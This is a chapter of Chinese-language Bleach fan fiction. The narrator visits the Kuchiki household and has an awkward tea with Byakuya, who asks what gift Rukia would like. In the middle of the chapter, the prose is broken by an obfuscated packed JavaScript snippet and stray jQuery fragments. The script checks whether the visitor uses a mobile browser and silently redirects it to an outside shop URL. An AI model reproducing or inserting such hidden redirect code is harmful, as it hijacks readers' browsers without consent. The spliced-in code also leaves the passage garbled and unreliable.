好歹同寝多年，我知道ABC三个小傻子没什么坏心眼，就是急了。人在焦急上火的时候很容易看不惯别人，放大别人的缺点，倒也不用太上心。
冲着他们试图反抗联姻这一点，我就不会因为这一次的小事看她们不顺眼。
我诚恳道：“与其想着失败，你们要做的事好好冷静，多多练习，保证毕业展示上发挥正常。言尽于此。”
“你……”
我挥挥手，打算去找露琪亚。
开玩笑，我自己还想走后门呢。
我没有那两人那么狂，但估摸着混个几年起码也能混到普通十几席。
十三番队常年缺人，但不缺席官预备选手，缺的是现世驻守搞外勤的底层死神。像分配的非编制死神和底层的普通死神，去现世驻守的死亡率并不低。
现世驻守主要任务是魂葬，但工作也包括消灭虚。即便有十二番队的传令神机及时接收显示虚的坐标和灵压，单人作战也并不容易。
而重灵地是会变化的，长期缓慢的那种好说，可实际上一个地区的灵子浓度和灵压浓度始终在持续变化，保不准突然冒出好几头虚来。
我当然清楚蓝染暗示过好几次让我去五番队，我就是担心我选了十三番队后他抢人，十三番队队长想着我更合适五番队就给拒了。
毕竟新人年年有，往年就听说这样的抢人环节很和谐，毕业生就跟过年送的礼一样被人你推我让。
那可不行。
我现在的水平，完全可以无伤消灭两头普通虚，即便是厉害些的，我也能保证自己可以逃生。至于教科书上那种大虚？几百年都出现不了一次。只要不去重灵地，基本没大事。更别说我的灵力还在持续增长，刚加入番队也不会让我一个人去现世。
已知露琪亚和十三番队副队长志波海燕关系不错，志波海燕基本全权管理十三番队事宜。那我和露琪亚沟通一下，露琪亚再去打声招呼，这事就妥妥稳了！
心里打着小算盘，我乐呵呵往朽木家走。结果来得不巧，露琪亚在上课。
领路的千代是侍女领班，目前负责露琪亚的主要事务。而朽木家总管家是清家信恒，先前去学校要收养露琪亚时朽木白哉身边的那个老者。这段日子以来见过好几次，已经很眼熟了。
咳，反正朽木白哉本人都说了常来，那我后面就真的来得也比较多了么……
反正我自己跑过来那几次，最开始还会被朽木家护卫队拦下来上交浅打，现在完全可以合理持刀进入。
甚至刚开始还会装装样子在朽木白哉在的时候去问个好然后再去找露琪亚，后面就直接让转达了。
“您要去旁听露琪亚小姐的课程吗？露琪亚小姐此刻在学插花。”
“不了不了。”
我之前来也碰到过她上课，也去旁听过，只想说，好枯燥，一点都不快乐。我本来觉得插花挺有意思的，我本来就蛮喜欢diy的，但老师锐评我的插花太随心肆意，枝条无主次，看不出留白，高低无章法，不懂取舍和平衡。
总之非常专业地把我的作品批得一文不值，最后还不忘记顾忌我的面子挽尊说我至少有创意，选的花搭配很有新意，让我再接再厉。
我觉得还是不要为难老师和我自己了……
千代把我领到露琪亚的待客室：“那请您在这稍作等待。”
“她还有多久下课？”
“露琪亚小姐上课不久，还需要等待一个小时。”
我还没坐严实的屁股又抬了起来：“那我先回去吧，等她下课天色也不早了，我改天再来找她。”
千代：“好的，请您稍等片刻。厨房刚做了些小点心，我去给您打包些。”
拒绝的话刚到嘴边，想到舍友们，我又咽了回去。反正厚脸皮带东西走也不是一次两次的事了。这微弱的舍友情还是和谐到最后吧，想来朽木家的糕点可以让她们开心些。
结果坐了一会儿，清家信恒过来请我：“雏森小姐，家主请您过去。”
“？”我脑子转了一圈，没想到他找我有什么事，主人来请，当然要去，“他有说什么事吗？”
“家主不曾提起。”
“好的，多谢。”
我默默脑洞，难不成朽木白哉想招我入六番队？唔，虽然六番队基本都是贵族啦，但也不是没有普通成员，而且六番队目前没有副队长。说不定人家就觉得我是可塑之才？
我越想越觉得对，甚至已经开始纠结要不要考虑了。
在六番队混吃等死也不错啊，六番队的人应该都很阔绰吧？
朽木白哉的会客室当然是矮桌+坐垫，还不像露琪亚那里那样可以趁人不在伸腿。我痛苦面具了一下，老实在客座跪坐下。
朽木白哉表演了一下茶艺，将茶杯双手递给我：“请。”
我嘴角控制不住抽动，不得不带着浅笑双手接过，同时脑子里疯狂搜索品茶流程。
咋个回事来着？我之前去旁听茶道课只说到日式抹茶的制作，我咋知道你们立本人怎么专业品茶啊。我只依稀记得咱天朝古代是……
不管了，反正他这也不是日式抹茶，看起来就是中式煮茶，稍微意思一下就行吧。
我右手握住茶杯，凑近，左手轻扇，露出些微的陶醉，闻香√。接着低头看了看茶碗，恩……这个茶叶……让我想起了HP里的占卜课。反正想不出来形容词，左右也不用写观后感，就酱紫吧。观茶√。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753512|209459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>我端住茶碗，分三次喝完，然后微微颔首：“多谢款待。”
抬头，朽木白哉凝视着我。
埋头做完一系列流程的我？
哪里不对吗？
朽木白哉默默把我的空茶杯拿了回去，斟了一杯，直接单手从桌上推了过来。
我看着面前的茶杯，再看看他，诡异地好像读懂了，没憋住问道，“呃，所以那啥，你就是单纯让我喝茶？”
“恩。”
我表情扭曲了一下：“下次直接说。”
“我也没想到你……”朽木白哉斟酌了一下用词，“我不是要考教你。”
我比划了一下：“你看着太严肃了，总给人一种不守规矩你就完蛋了的感觉。然后还一声不响的。”我还以为是入队测试瞅瞅我是不是懂礼仪讲规矩呢，想到要是在六番队喝个茶都得这样，已经在心里打叉了。
“抱歉。我只是一时不知道怎么开口。”
明白，发现了我的优秀，不好意思了。
我矜持道：“你只管说。”
朽木白哉颔首：“我是想问一下，你知道露琪亚喜欢什么吗？”
“什么？”我表情空白。
“马上露琪亚要过生日了，往年我送过衣服首饰纸砚笔墨。她虽然都收下了，但似乎并没有特别喜欢。”
我默默捂住脸，靠，我是多自恋多自以为是才觉得朋友的哥哥要亲自招揽我啊……
还好没直接问。
没人知道！
我又可以了。
我不经意地放下手，知无不言：“露琪亚喜欢兔子，兔子类的一切。你可以送兔子玩偶或者兔子造型的摆件、日常用品之类，粉嫩嫩的最好。食物的话……她喜欢红豆白玉丸子，还有清爽生吃的黄瓜。”
我叭叭叭说完，才感觉不对劲。
生日这种事，露琪亚从来没和我提到过，可她说过她的童年。她在襁褓里的时候就到了流魂街，记忆里的一切，只有流魂街七十八区戌吊。
事实上流魂街特别是后面街区的人是根本不过生日的，也没条件过生日，说句生日快乐就不错了。而且绝大多数亡魂都是年迈者，来尸魂界也活不了多久，所以街市上看到的最多的往往都是青壮年以及孩子，他们才是流魂街生活的主体，绝大部分都是幼年就在现世die了，自然也不记得生日。
我倒是记得，但也无所谓。所以我现在明面上的“生日”是雏森婆婆定的捡到我的日子。
这几年我和冬狮郎的生日都是想到才过一下，忘了就拉倒。
可露琪亚加入朽木家也不是这时候啊……
我脑子里浮现出一个匪夷所思的想法。
难道……还是替身？